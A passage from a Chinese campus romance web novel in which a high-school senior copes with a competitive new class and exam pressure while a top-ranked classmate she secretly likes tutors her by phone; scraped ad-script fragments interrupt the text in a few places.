「学霸肯定都会优先选前排,你不必顾忌我,先选前排!等我下次月考加把劲,咱俩再坐一起,就当给我一个动力好不好?」 下方还画了一个笑脸娃娃。 陈丹丹被她说服,这样也好,她们俩都有目标,都在努力着,总有一次考试结束,她们还能继续当同桌。 祝思倩对着陈丹丹眨眨眼,率先走出教室,很有自知之明地占据了最后面的位置。 陈丹丹排在队伍里,身后的同学不小心踩到了她的帆布鞋,她下意识回头。 “不好意思。”比她高了一个头的男生挠挠头,对她道歉。 “没关系。”陈丹丹说完,重新转回去。 她抬起头,望着门口的班级牌,高三(20)班。好像到了现在,才真正有一种她已经步入高三生活,来到新班级的真情实感。 前面的同学逐渐进入教室,陈丹丹站在队伍中间,不自觉地将目光投向隔壁班。 估计是班主任讲话刚刚结束,高三(21)班的学生们正从前后两个门鱼贯而出,像20班的同学一样排在了走廊上。所有的同学都穿着校服站在一起,一眼望去,很难快速找到认识的同学。 陈丹丹近视很久了,初中的时候她有睡前躺在床上看书的习惯。青春疼痛文学、散文乃至宇宙未解之谜都在她的睡前读物里。于是眼睛很快就近视了,看黑板必须要戴上眼镜才能看清楚。 偏偏很奇怪,她的目光不过在21班的学生中快速扫了一眼,就迅速锁定了段言所在的位置。 如此迅速,如此确定。 像是在他的身上装了雷达一样。 即使她看不清楚他的五官,但是凭借直觉,她能肯定,那就是段言。 他咬着一根棒棒糖,懒懒地斜靠在墙上,有一搭没一搭地和旁边的男生说话。旁若无人的样子,却惹得周围不少女生都在偷偷看他。 “下一个,陈丹丹!”康老师浑厚有力的声音从教室里传来,陈丹丹立马收回目光,挺直背走回教室里。 火箭班排名靠前的同学基本上都选择了前排的位置,陈丹丹犹豫了一下,在靠墙的第四排位置和中间第六排位置里选择了后者。 当一个同样穿着校服但比祝思倩矮了五六公分的女生在陈丹丹旁边坐下时,她知道,她有了新的同桌,以前不认识但未来至少会相处一个月的同桌。 而当椅子挪动的声音从身后响起时,陈丹丹下意识回过头去看,意料之中,出现的是一张陌生的面孔。 说不清是失望还是什么。 毕竟不会再有人用笔戳她的后背,不会再有人和她传便利贴,也不会有人在她拿着卷子转过身的时候顺手把桌上东西一收,耐心细致地给她讲解试卷。 从现在起,不会再有了。 未来也不会再有。 陈丹丹环视了一圈正在奋笔疾书的同学们,收回思绪翻开习题册刷题。 …… 高三火箭班的进度比陈丹丹想象的还要快,她以为以前班上的同学已经够优秀够努力了,却没想到,班上的同学让她重新认识了“努力”“聪明”这些词语的含义。 物理小测卷子做完后,康老师在黑板上写下答案,让同学们自行批改。下一节依旧是物理课,康老师直接用上了课间的时间,给同学们讲卷子。 “第一题大家都没问题吧?”他朗声问道。 “没问题。”底下是同学们不整齐但洪亮的声音。 “第二题呢?” “没问题。” “第三题很简单,可以直接过吧?” “过。” “第四题是之前的高考原题,大家应该都做过,有同学不会吗?” “没有!” 一直问到第八题,同学们的回答依旧响亮。 “过过过!” 陈丹丹小小的一声“讲一下”被其他同学的声音淹没。 坐在她后面的祝思倩对她的声音非常熟悉,捕捉到她说的话之后,立马提高声音:“老师讲一下第八题!” 康老师推推眼镜,“这道题大家基本上都会,为了不耽误大部分同学的时间,个别不会的同学下课后过来问我或者问其他同学。好了,下一道题——” 陈丹丹期待的眼神慢慢变得黯淡。 她的视线从讲台上收回,落在她的物理卷子上。 全班几十个同学,好像只有她不会第八题。陈丹丹沮丧地垂下头,右手握着支纠错的红笔,左手无所适从地搁在物理卷子边角处,将卷子的边角往里面卷,再往外展开,再卷,再展开。 讲到附加题的时候,康老师先在班里问了一句:“有多少同学把这道题全做出来了?” 不少同学摇摇头,陈丹丹一动不动地盯着卷子上的题目,没有任何反应。这些字她都认识,连在一起她就完全不懂了。 康老师等了一小会儿,班上还是没有同学讲话,他怒其不争地用力拍桌子,“你们是怎么回事?隔壁班有十来个同学都做出来了,人家段言还用了两种解法,结果我们班没有一个同学做出来?” 学霸们惭愧地低头,陈丹丹则是眼睛亮了亮,颇有几分与有荣焉地抬头,然后反应过来什么,重新低头作鹌鹑状。 这时,她听见后桌压低声音吐槽:“人家段神跟我们能一样吗?都不是一个世界的人,怎么比?” 不是一个世界的人吗? ……就连其他人都意识到了这一点。 “废话我也不多说,同样的教室,同样的老师,不同的只有你们的努力程度,你们也不希望以后一直被隔壁班压着吧?那就给我,不,是给你们自己好好学习,争气一点,别以为考进火箭班就高枕无忧了。” 康老师掰断一根长粉笔,剩下的一大截粉笔扔进粉笔盒里,“行了,咱们继续来研究这道附加题……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讲完附加题,下课铃刚好响起,康老师把粉笔往讲台上一丢,在讲台上站定,“下课。” 陈丹丹深吸一口气,做好心理准备想去请教康老师题目,抬眼间却发现,康老师已经被一圈好学的学霸包围。 这几个学霸坐在前排,动作迅速到仿若闪电一般,有的手里拿着卷子和草稿本往讲台冲,有的直接空手走上讲台,从粉笔盒里选出支白色中等长度的粉笔,在黑板上写写画画,和康老师讨论题目的解法。 “去厕所吗?”祝思倩跑到陈丹丹座位跟前,撒娇道,“一起去嘛~” “走。”陈丹丹干干脆脆地答应,从书包里取出纸巾放进校裤口袋里。 她俩走出教室的时候经过了不少座位,走出教室后,祝思倩才呼出一大口气,“妈呀,可算是走出教室了。” “怎么了?”陈丹丹晃晃被她拉住的那只手。 “你不觉得我们班非常压抑吗?以前的班上,课间好歹还有不少同学谝闲传、打打闹闹、出去玩儿什么的,现在大家都端坐在教室里,要么讨论题目,要么自己刷题,就没几个休息的。”祝思倩愁眉苦脸地道。 “觉得!”陈丹丹点头如捣蒜,“可是那有什么办法?只能逼自己适应了。” “是啊,”祝思倩苦着张脸,“不过也有可能是因为大家都还不太熟,所以才各干各的事情?说不定熟悉之后就不会像现在这样了。” 她说着,余光难以控制地向右边飘去。 “诶?那不是班长吗?”祝思倩还没改口,依旧叫着姚一哲班长,她猛地拽了下陈丹丹,“你看他,他居然……” 陈丹丹还在瞄段言坐在哪里呢,被她猛地一拽,差点没吓个半死。 刚要“讨伐”祝思倩,闻言立刻止住,顺着她的视线方向往角落望去,隐约间见到姚一哲正和扎着低马尾的女同学牵着小手在说话。 陈丹丹惊讶地捂住嘴:“那真是姚一哲吗?” 她出教室的时候没戴眼镜儿,只能模糊地凭感觉猜测那个男同学就是他们原来班上的班长。莫非这就是段言之前提到过的八卦? “是啊是啊!”祝思倩连连点头,“那个女生是我们以前隔壁班的班花,现在好像在18班,没想到他们俩居然在一起哎!” 陈丹丹也惊到了,“这都高三了,他们还敢这么明目张胆的谈恋爱?”她都看见他们牵着的手了。 祝思倩耸耸肩膀:“谁知道呢?” 陈丹丹不知道为什么,又想到了段言。他进入新的班级,认识新的同学,会不会喜欢上班里某个优秀的女孩子? 整整一天时间,除了到校和早上选座位的短短几分钟,陈丹丹再没有见过段言一面。 他好像再没有出现,但又好像时刻出现在她面前。 康老师讲最后一道大题的时候,她会想,如果某人在这个班里,肯定会一边慢悠悠地转着笔,一边思考这道题的另外几种解法,然后选择她能听懂的解法讲给她。 化学老师不小心配错方程式的时候,她好像也听见一个懒洋洋的声音响起,“老师,写错了。” 她遇到不会做的题目急躁得都想要把笔摔在桌上时,她好像听见旁边有人在说,“耐心点行不行?我一个讲题的都没烦,你一个听题的人还烦?” 他的身影出现在不同的场景,出现在每一刻。 他的名字也出现在周围学霸们的口中,提起他,周围的学霸都是满脸佩服,一口一个“段神”“隔壁班的段神”叫着,班上排名前十的一个学霸还开玩笑说,“不必和段神比,人家是断层第一的神仙,我等是凡人。” 临近放学,陈丹丹低头看了看书包里的大白兔奶糖,胸腔里好像填满了酸涩的杏子一般,又酸又难受。 她以前以为,她和段言之间最远的距离,不过是他去了另一个城市读书。 后来他突然回来了,和她待在同一个班里,坐在她的身后,他们之间的距离重新拉进。 就在昨天,她还想着,高三(20)班和高三(21)班离的那么近,无非是一堵墙的距离,几步路的距离,和之前没有太大的区别。 但是今天她忽然发现,原来触手可及的距离也可以是最遥远的距离,离得近只是一种错觉,遥远才是真正的现实。 也是,他的人生没有短板,他拥有傲人的成绩,和谐的家庭关系,明亮璀璨的世界,无数人的簇拥和追捧。这样的他和黯淡无光的自己本就天差地别,又怎么会没有距离呢? 而周围埋头疯狂学习的学霸们,试卷上鲜红的分数,于她而言,也是一种现实。 不得不面对的,残酷的事实。 这样低落的情绪一直持续到晚上十点半。 晚自习结束后,陈丹丹回到家里,在白纸上写写画画,制定新学期的目标和学习计划,手机铃声欢快地响起,打断了她的安排。 她烦躁地从抽屉里拿出手机,惊讶地看见手机屏幕上闪烁的名字。 ——段言。 “在新班级适应的怎么样?”陈丹丹按下接听键之后,听到的就是这么一句关心的话。 简单的一个问句,扰乱了她的心绪。 33. 三十三颗青梅 开学第一天早上,高三(21)班。 班主任同样选择了按照排名先后选择座位的方式,当他叫到“一号,段言”的时候,所有同学的目光都聚焦在同一个人身上。 “到。”穿着短袖校服的少年懒洋洋地应了声,一口咬碎含在嘴里的棒棒糖,从后门口走进教室时,顺手把棒棒糖棍往垃圾桶里一抛,书包放在最后一排正中间的位置,人也慢悠悠坐下,从容自如的姿态不像是在高三火箭班,反倒像是在自己家里。 教室门外的同学们露出了钦佩的眼神,这就是大佬风范吗? 不少同学陆陆续续地路过段言的座位,都没有在他周围坐下。原因无他,虽然很想接近学神,但他气场太强,又坐在最后一排,所以也只能在心里想想了。 姚一哲就没有这个顾虑了,他直接一屁股坐在段言右边,来了句:“巧了,我也喜欢坐最后一排。” 段言随口道:“因为视野好?” 像他们这些个子高的男生,坐在最后一排不用担心看不见黑板下方的粉笔字,反而避免了坐在前排两侧位置带来的反光。 姚一哲把书包塞进桌兜里,“不,因为宽敞。” 坐前排挤得要死,尤其是不幸遇见喜欢挪动桌椅的前后桌时,那叫一个痛苦,你会发现自己的空间逐渐被压缩,压缩到难以顺利在座位坐下的地步。相反,坐在最后一排,可以不必在意身后人的死活,哪怕把桌子再往后拖一米,直接挨着垃圾桶坐,也没有人会管你。 他一边整理书本,一边没话找话地问段言,“你是因为视野好才坐这里的?” 段言顿了一下才道:“不是,坐这里比较自由。” 上课的时候可以随意安排其他内容的学习,同时不用担心会影响到别的同学。 更重要的是,坐在这个位置,他可以轻易看到去接水的陈丹丹路过他们教室。 如此清晰的,不易察觉的。 段言不是不知道同学们传起八卦来速度有多快,内容又有多离谱。作为年级第一,高三(21)班的一号,聚焦在他身上的目光从来都不少。他不想让陈丹丹一进入新班级就被别的同学议论,成为八卦女主角,所以他没有主动去隔壁班找她。 倒是俞秉文中途来找过他,说是班上的同学都在“埋雷”,氛围那叫一个紧张,他鸡皮疙瘩都要起来了,怪不自在的,就来新班级看看他。 不过俞秉文没想到,21班的同学们也不遑多让,一个二个刷题刷到飞起,只有少数几个学霸还在聊天。 “不愧是火箭一班。”他张大了嘴,如是感叹道,同时在心里为自己今后水深火热的校园生活默哀。 段言没有理会他的感叹。 “以前班上的同学有哪些在20班?”他问道。 俞秉文只当他没记住分班表,闻言掰着指头数了好几个人的名字,末了道:“……还有祝思倩、陈丹丹。” 段言接着问了他好几个同学的座位和情况,然后故作不经意地问:“陈丹丹呢?” “她啊,”下课铃响起后姚一哲就出去了,现在还没回来,俞秉文心安理得地在他的座位坐下,最后一排果然空间很大,他还把椅子再往后挪了挪,舒舒服服地靠在椅背上,“她现在坐在教室正中间的位置,看起来适应的挺好。不过她现在没和祝思倩坐一块儿了,换了个新同桌,叫刘啥来着,看起来文文静静的,估计她俩也能玩到一起去。” 听到这话,段言放心不少,又和俞秉文聊了些杂七杂八的事情,预备铃都响了,俞秉文才离开21班。 从早读到晚自习结束,段言看见陈丹丹的次数屈指可数。到了晚上,他犹豫半晌,顺从心意地拨出电话。 他没有从通讯录上找陈丹丹的联系方式,而是直接按下十一个数字。 “喂?” “是我,段言。” “我知道是你,有来电显示的……你有什么事吗?” “没事就不能打电话了?”段言反问。 这话说的,陈丹丹不知道怎么接下去了。 好在他没有揪住不放,转而问道:“在新班级适应的怎么样?” 陈丹丹也不知道怎么说,总不能说我不太适应没有你在的班级吧? 她挑挑拣拣,说了些新班级的情况,“还好,毕竟有几个以前班上的同学在。不过现在班上真的有点吓人,下课了大家都还在学习,搞得我也胆战心惊的,不学不行。” 以前班级里也有下课后还在学习的同学,但那是少数,而且不会把所有的下课时间都用来学习。哪像现在,同学们真的是抓紧了每一秒钟来学习,甚至有人连上厕所都是跑着去的。 段言默了默,“这就是你今天没怎么喝水的原因?” 陈丹丹奇了,她咦了一声,问道:“你怎么知道?”他有千里眼顺风耳不成? “我好几次去接水都没看到你,”电话那头顿了一下,“该喝水就喝水,该休息就休息,学习是需要劳逸结合的。” 段言以前班上有同学为了节约上厕所的时间来学习,干脆不怎么喝水,他担心陈丹丹也成为这样的人,脑子一转,编了个例子吓唬她,“我上高一的时候,班上有个男生不爱喝水,后来得了肾结石。” “真的假的?”陈丹丹有点害怕了,她今天就喝了两杯水。 “真的,”段言笑了声,“水喝太少容易形成结石,而且免疫力也会降低,没有好的身体还怎么好好学习?” “说的也是,”陈丹丹小声说道,“那我明天多喝几杯水。” “这就对了。” “你不要以一种很欣慰的语气说出这句话好不好,很像我们以前循循善诱的班主任哎。” “……航哥的语气哪有这么温和?” “说的也是。” 段言勾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 勾唇角,视线停留在书桌上的习题册和各科小测卷,这是他今天特意带回家的,两个火箭班的代课老师基本相同,试卷什么的应该也是一样的,“今天有不会的题吗?” 陈丹丹像是被掐住了命脉:“……有。” “说说看。”透过电话,少年的声音听起来意外的沉着冷静。 陈丹丹不由得想起分班前,他也是稳稳地靠在椅背上,慢悠悠转笔,胸有成竹地问她:“说吧,哪些题不会?” 她无声地笑笑,从一堆卷子里找出物理小测卷,翻开后小声说道:“物理小测卷第八题。” 段言翻开物理小测卷,确认道:“是力学题吗?” “嗯嗯!”陈丹丹一只手拧开笔盖,期待地问,“你要给我讲吗?” “废话,不然问你干嘛?”段言的声音从手机里传来,就连怼她的话音色都那么好听,“专心看题,……然后分析木块受力……所以摩擦力f2=……” 陈丹丹恍然大悟:“懂了懂了!谢谢段老师~” “不客气,陈丹丹同学,”段言含笑道,“还有呢?” “非常感谢段老师下了晚自习还抽空给我讲题?” “……我是问你还有没有不会的题。” “没了。” 时间已经不早了,陈丹丹不想耽误段言的休息时间。高三了,谁的时间都很宝贵,段言也没有义务非得给她讲题。 段言翻试卷的手指一顿,“真没了?” “没了。” “你说实话。” “……” “要不这样,你就以楚青山、周杰伦、五月天、孙燕姿的演唱会门票发誓,如果你撒谎,这辈子都抢不到他们的演唱会门票。” 这招可真够狠的。 陈丹丹不情不愿地承认:“是还有那么几道题不太会。” 段老师步步紧逼:“哪几道?” 陈丹丹同学把物理卷子和化学卷子都在桌上摊开,“物理小测卷第三道大题、附加题,化学小测卷的……” “知道了,”段言根据她说的,把这些题目在卷子上用三角形标注出来,“你先翻到物理小测卷的第三道大题。” 陈丹丹依言照做。 “这道题难度中上,和14年江省的一道高考题很相似,第一问,求磁场区域的宽度h,思路是这样的……” “理解了吗?” “嗯。” “那我继续讲第二问。” 夜晚很安静。 只有手机听筒里少年讲题的声音,夏夜里窗外的蝉鸣声,风吹过树叶“沙沙沙”的声音。 以及,她震耳欲聋的心跳声。 原来还是会有这样一个人,会主动关心她在新班级适应的怎么样,在意她没有弄明白的每一道题,耐心劝她多喝水。 夏夜很热。 所以心率才加快了吧。 34. 三十四颗青梅 在很多人的记忆中,高三的基调是红火而灿烂的,所有人都在为了一个目标奋勇拼搏,洒下的汗水都浸润着梦想的香甜。 但对于陈丹丹来说,进入新班级之后,当下的生活无疑是灰暗的。身边不熟悉却聪明的同学一抓一大把,一个比一个努力,一个赛一个优秀,她争分夺秒的努力在其中毫不起眼,压力如山,让她喘不过气来。 唯一的快乐是每天去接水时,透过隔壁班的门窗,可以看见的那个身影。 即使身边有很多同学都在埋头苦学,段言也丝毫没有受到影响,照样笑着和姚一哲他们聊天,他靠在椅背上,神清气爽的状态和周围不少挂着黑眼圈、满脸疲惫的学霸形成了鲜明的对比。 他偶尔也会在课间做题,在卷子上写下答案时的样子游刃有余,仿佛不需要经过思考。 他和康老师站在讲台边讨论题目,眼神自信又坚定,拿起粉笔在黑板上写下解法时流畅自然,反倒是围了一圈的其他同学,脸上各个严肃无比,严阵以待。 各种小测只是开始,很快,陈丹丹就感受到了高三火箭班的强度——康老师宣布这周月考。 同学们都在哀嚎,开学还不到一个月,这就要月考了? “哎。”陈丹丹听见她的新同桌谷欣妍叹了一口气,她扭过头,目光带着丝疑惑。 “月考只是开胃小菜,”谷欣妍很自来熟地把椅子往陈丹丹的方向挪动,凑近了道,“听说期中考试之后除了月考,还有每周的周考。” 陈丹丹诧异地瞪大眼。 谷欣妍误以为她不相信,叽里呱啦地透露了一大堆消息,“这是真的!我有个姐姐去年在我们学校读高三,说我们学校可变态了,尤其是火箭班,更是变态中的变态。高三上学期会新增周考,到了高三下学期的强化阶段,差不多每天都要考试。” 饶是爱学习如陈丹丹,也不由得有点怨念。 谷欣妍见她愁眉苦脸的样子,笑着碰了碰她的胳膊肘,“别担心啦,你在我们班好歹也排在中等偏上的位置,不像我,排在倒五。我都没纠结,你也别纠结啦!” 两个人就这样慢慢熟络,陈丹丹在这个班上,也多了一个聊得来的朋友。 …… 月考考完,走出教室的那一刹那,陈丹丹有一种预感——不出意外的话,她感觉她这次考得还不错。 语文和英语向来都是她的强项,这次的数学除了最后一道填空题和最后两道大题没有把握之外,其余的题她基本上都有把握。 理综这次有点难度,物理最后的大题她无处着手,化学也有两道非常变态的题,生物有道遗传题难度很大。剩余的题目里有三分之二都是中规中矩,属于平时认真听讲刷题就能答个差不多的程度,剩下的三分之一明显拔高了难度,用来分段。 放在暑假前,陈丹丹或许只能做出基础题,但经过了一个暑假认认真真的补课刷题,拔高部分的题她也能做出来不少。换言之,她能感受到自己的进步。 陈丹丹迈着轻松的步子顺着人群往楼下走,还没走下台阶,她听见附近传来压抑的抽泣声。 循声望去,是一个扎着丸子头的女生趴在栏杆上哭。 可是,这关她什么事? 老师布置的卷子还没开始写,《五三》对应的部分也没刷完,买了一堆的习题册也只刷了一部分,哪来那么多时间管别人的闲事? 陈丹丹的心里瞬间闪过很多种念头,几秒钟后,她无可奈何地闭了闭眼,选择对内心妥协,转身向丸子头女生走去。 丸子头女生哭得正伤心,忽然肩膀被人拍了拍,她露出沾满泪水的脸,一张纸巾出现在她眼前。 “别哭了。”见她没有任何反应,白皙的手又把纸巾往前递了递。 “谢谢你啊。”丸子头女生哽咽着接过纸巾,抬起头之后愣了愣,“……陈丹丹?” 嗯? 陈丹丹也愣住了,“你认识我?”她对面前的这个女生完全没有任何印象。 “我是谯诗雨啊,我们小学在一个班上。”谯诗雨自我介绍道。 陈丹丹的脸上浮现出疑惑,又迅速收敛表情,装作记起来的样子,“哦哦,是你啊,好久不见。” 其实她根本没记起来这是谁。小学班上,陈丹丹身边环绕的同学朋友太多了,同班的、外班的、小区里的,那么多人中,她根本不记得谯诗雨是哪位。 想起方才对方哭得伤心不已的样子,陈丹丹又问道:“你为什么哭啊?” “没事,”谯诗雨用纸巾擦干净脸上的泪水,不好意思地解释,“我刚刚就是情绪太激动了。” “有什么需要我帮忙的吗?”陈丹丹关心地问。她们怎么说也算是曾经的同班同学,现在又在一个学校,如果对方遇到困难了,她也没办法袖手旁观。 “没事,”谯诗雨说话时仍然带着点哭腔,“我就是、就是物理有道题没做出来,坐在那里考试的时候一点思路都没有,刚交卷我就有点思路了,但是没时间写了。” 哦,原来是这样。 陈丹丹也经历过类似的事情,还挺能理解她的,“很正常,这回只是月考,下次期中考试好好考就行。” “嗯嗯。”谯诗雨点点头。 …… 周末月考,周一成绩就出来了。班长从老师办公室走出来,手里拿着他们班的成绩单,同学们见状,一窝蜂地围了上去。 “班长,让我看看我考了多少!” “我呢我呢?有没有看到我考得怎么样?” “你们让一让,别挤啊!” “你们先让开,我贴一下成绩单。”班长边剪胶带边大声说道。 有女生问:“学校为什么不把全年级的成绩直接贴在走廊上啊,这样还直观一点。” 一个戴着黑框眼镜的男生比了个“嘘”的手势,压低声音道:“去年有个高三学生在公示栏看到自己的年级排名之后承受不住,跳楼了!所以校领导决定以后不在走廊或者楼下的公式栏公开处刑。高三楼下的公示栏也改成了荣誉栏,学校会把高三大考的年级前三十照片贴在上面。” 他们自以为声音很小,但陈丹丹听完了全程,她坐在座位上没动,准备等人少一些了再去看成绩。 谷欣妍也是如此,她支着下巴感叹:“不知道我们学校的老师昨晚加班到凌晨几点,我们前脚刚考完试,后脚分数、排名全都出来了,他们都不需要休息的吗?” 陈丹丹想了想:“大概我们学校招聘老师的条件中,就包含了身体健康、精力旺盛、能熬夜?” 谷欣妍:“噗——” 成绩排名被贴在教室门口边的白墙上,同学们来来去去,记录下自己的各科分数和排名,有的满意而归,有的垂头丧气。等人散的差不多了,陈丹丹和谷欣妍拿着纸和笔往过去走。 鉴于考完之后感觉还不错,陈丹丹是从上往下找她的名字的。 然而一直找到中间的位置还是没有她的名字。 陈丹丹怀疑她漏看了,又顺着排名从上往下找去,一直到第三十一名,她终于看见了自己的名字。 序号31的右边写着:陈丹丹。 月考成绩给了她一个响亮的耳光,恍若一道晴天霹雳,击碎了她考完之后的沾沾自喜,也击碎了她这些日子埋头苦学积攒起来的自信。 从暑假开始到现在,她从来没有放松过学习,怎么考试排名反而退步了呢? 陈丹丹近乎麻木地看完她的各科成绩排名以及总成绩和总排名,挨个抄写在纸上,然后如行尸走肉般回到了座位。 “哎,你们听说了吗?那天考完试有个女生趴在外面哭了。”附近传来同学八卦的声音。 “哪用听说?我都亲眼看到了,哭的可惨了!” “我也看到了。” “听说是有道题没做出来,被难哭了。” 最开始八卦的那道声音钻入陈丹丹的耳朵里,“人家是被难哭了,不过是被压轴题难哭的,她的总排名在年级前三十。” 吸气声从周围传来。 “大学霸啊这是!” “啧啧,学霸的不会做、没考好、被难哭,和我们的不会做、没考好、被难哭完全不一样!” “她叫什么名字?” “谯诗雨。” 陈丹丹低头看了眼她记录的考试排名,班级第三十一名,年级第八十五名,想起自己好意安慰谯诗雨的场景,说不清心里到底是个什么滋味。 有种自己是个笑话的荒谬和讽刺,也有种努力是不是没有用的疑问困惑,更有一种她到底是不是个笨蛋的自我怀疑。 同样的学校,同样一层教学楼,甚至老师都是完全一样的,为什么别的同学都学的那么好,而她就不行呢? 这句话是以前各个阶段的老师用来教训差生的,如今陈丹丹自动代入了自己。 她刚刚甚至在成绩单上看到,班上有几个老是上课睡觉、下课打闹、平时拖欠作业的男生考了班级前十。 只有她,越努力,成绩越差。 上课铃响起,康老师抱着一沓卷子走进教室,张口就分析起这次考试的排名情况。末了,不忘加一句:“隔壁班的段言还是年级第一,人家的数学和理综单科都是第一名,希望我们班能有同学打破他年级第一的记录。” 陈丹丹听见身后有同学说: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “这怎么可能啊。” 她在草稿纸上画着毫无意义的鬼画符,没有出声。 “好了,我现在开始发卷子,”康老师咳了咳,“叫到名字的同学上来取。” “俞秉文!”康老师叫道,等俞秉文走到讲台下方时,他把卷子翻了个面儿,“105分,分数还行,继续加油。” 俞秉文故作高深地点点头,努力将弯起的嘴角拉平,“谢谢老师。” “向艺凡!”一个扎着马尾的高个女生向讲台走去,康老师手指在卷子上点了点,“104分,你马虎大意错了不该错的题,下来之后好好看一看。” “好的,老师。” “陈喆远!”一个上课老是趴着睡觉的男生伸了个懒腰往讲台走去,康老师没好气地道,“104分,你错的那道填空题我之前讲过类似的,以后上课好好听。” “嗯嗯。”他边说边打了个哈欠,一抬眼发现康老师的目光生气到想杀人,赶紧小跑着溜回座位。 康老师按照物理分数的排名依次往下发理综卷子。 等到陈丹丹去领卷子时,讲台上只剩下十来张试卷,康老师没多说什么,只是正色道:“你要好好加油了。” 陈丹丹耳根发红,只想找个地缝钻进去,“好的,谢谢老师。” 等到正式讲题的时候,康老师越说越气,“这道题我之前讲过类似的,你们看看你们自己,有四分之一的同学都做错了,你们平时上课到底有没有认真听?” 陈丹丹发誓她认真听了,但不知道怎么回事,一到考场上看到这道题,顿时就没思路了。 物理课只是今日份“批.斗课”的开端,接下来的所有课,老师进教室之后都会把大家批一顿,再把段言夸一顿。 “这次的数学年级第一是你们隔壁班的段言,148分,扣掉两分是因为他跳过了一个简单的小步骤……最后一道题你们班只有七个同学做对了,隔壁班有一半左右的同学都做出来了,段言还用了三种解法,你们好好向人家学学!” “你们这次化学考的不咋样啊,刚开学老师不太想打击你们,所以这次化学有一半都是送分题,有手就会!剩下的一半里,大部分都是中等难度的题,我平时上课应该讲过类似的吧,你们怎么还错那么多,嗯?还有最后的压轴题,人家隔壁班的段言和路易平都做出来了,我们班没一个人做出来。都是火箭班的学生,老师也是一样的,我不觉得咱们班的同学比他们差在哪里,你们好好反思一下。” “……” 老师每说一句,陈丹丹的头就往下低一分。 她听着这些老师说起段言的名字时满口称赞,突然觉得这个名字好陌生,他的事迹好遥远。 她也在这样的赞美声中发觉,她和段言的距离,好像越来越遥远了。 如今是月考,之后还有期中期末和高考,如果没办法考到同一所学校,他们会不会又像从前那样走着走着就散了? 即使语文老师和英语老师都夸奖了陈丹丹,她也开心不起来,毕竟高考看的是总分,看的是总成绩排名,而不是语文和英语的单科成绩。 接下来的一天,陈丹丹都装的若无其事,照常和新同桌聊天,和祝思倩手拉手去厕所,上课专心听讲,下课订正错题,自己骗自己:嘿,我一点都不难过。 唯独在深夜,她没有办法再欺骗自己。 这一晚,陈丹丹没有熬夜刷题,她早早地洗漱,埋入被窝之后狠狠咬唇,默默流下眼泪,珠子一样掉落下来的眼泪把枕巾浸湿了,她又用手抹了抹哭红的双眼。 手机就放在枕边,陈丹丹不敢承认,她其实还在暗自期待着什么。 她暗自期待手机铃声响起,会有电话或者消息提醒,就像之前她没考好那样。 然而没有,什么都没有。 陈丹丹在松了一口气的同时又有些失落。 也对,是她单方面暗恋段言,凭什么要求对方时时刻刻在意她的成绩,在意她的情绪呢?她既不愿段言看见她狼狈的模样,又隐隐期盼着他来安慰自己,未免太过贪心了。 她以前直白地拒绝向她表白的男生,不也没有顾及对方的情绪和想法吗? 忽的,陈丹丹想到了什么,她爬起来按了床头边的开关,卧室的灯骤然亮了。 手在枕头底下摩挲,拿出一张从同学录上撕下来的证件照。她看了又看,这才重新把它放回枕头下面,暗灭卧室的灯。 要加油了,陈丹丹,不要再犹豫,向着目标前进。 努力了才有机会离开这个不完全属于她的家,努力了才能拥有更美好的未来。 以及,努力了才不会离他越来越远。 35. 三十五颗青梅 早上五点,陈丹丹按掉闹钟,从床上爬起来。 刷了一会儿习题册后,她照常去学校上课,中途接水经过隔壁班,她的视线再次往最后一排扫去。 没有见到那个总是被众人围绕的少年。 她没多想,接了水之后回到座位继续订正月考试卷。开学前她和祝思倩买了全新的错题本,正好尝试新的纠错方式——用黑笔简要写清题干信息,用蓝笔写上正确的步骤和思路,用红笔写上做错的原因。 第二节是康老师的物理课,临近下课,她抬头盯着这位严肃的班主任看了半晌,下定了某种决心。 几分钟后,她拿着本子和笔出现在四楼的老师办公室,鼓足勇气一步步挪到康老师的办公桌旁,问了他一句话,“康老师,我物理不太好,要怎么才能学好物理?” 康老师一见是她,笑了。笑容软化了他面部的线条,严肃的脸都显得和蔼可亲起来。他说:“我还以为你不会来找我,正准备过两天来找你。” “啊?”陈丹丹实打实的惊了。 康老师为什么觉得她不会找他?又为什么准备过两天来找她?是觉得她理综太差了,打算请她到办公室“喝茶”吗?陈丹丹顿时后背一凉,她这算不算是自投罗网,提前跳进坟墓里? 康老师没有解释,仿佛什么都没说过似的。他老神在在地翻开桌上的牛皮封面笔记本,翻了几十页之后,他手指一停,纸张“哗啦啦”翻动的声音也停住。 陈丹丹心里蓦地一紧。 康老师抬起头,出乎意料地问她:“你有没有想过为什么你的物理成绩提不上来?” 陈丹丹思考了一下,说道:“因为我做的题还不够多。”她听说一些学霸做过的卷子堆起来比人还要高,她目前尚未达到这个程度。 “题目是做不完的,重要的是搞清楚题目考查的知识点,掌握题目背后的规律,通过做题把你串联起来的知识图谱运用得更加娴熟。所以不要机械地做题,要学会思考和总结,你囫囵吞枣地做十套试卷,都不如好好复盘一套试卷。”康老师语重心长地说道。 陈丹丹一边听,一边飞速转动脑袋,努力将老师说的话记住。 “还有,”康老师不满地说,“我都在课堂上说了,如果还有不会的题目要及时问,我看你既不怎么和班上的同学交流题目,也没来问我,是怎么回事?你放心来问,如果你们当学生的什么都会了,那还要我们这些老师做什么?” 陈丹丹:“……”汗流浃背了,可心底仿佛涌入一阵暖流,划入四肢百骸当中。 “我以后一定多多请教您和班上的同学。”她保证道。 “行,”康老师看了看办公室墙上挂着的时钟,“你先去上课,有问题了再来找我,脸皮别太薄了。” 陈丹丹继续点头。 “对了,你和段言以前是一个班的吧?”陈丹丹正要走,康老师把她叫住,一边问她,一边在他的笔记本上翻找。 陈丹丹不明所以地回答:“嗯,我们以前都在16班。” “那正好,你有空了可以和段言交流一下,他理综成绩特别优异,关键是他特别会举一反三。”康老师提到欣赏的学生,眼睛里尽是骄傲。 “……好的老师。” 陈丹丹可以看出康老师有多喜欢段言了,连续用了两个“特别”来夸他。 她想康老师一定不知道,她不止和段言交流过,还让他当了很长一段时间的补课老师,免费的那种。 陈丹丹走出办公室后,康老师重新翻开他的牛皮封面笔记本,在标有陈丹丹名字的那一页里“唰唰唰”地写了几行字。 路过的李老师见了,明了地笑道:“老康,你又在写学生档案啊?写了这么多年都不嫌麻烦?” 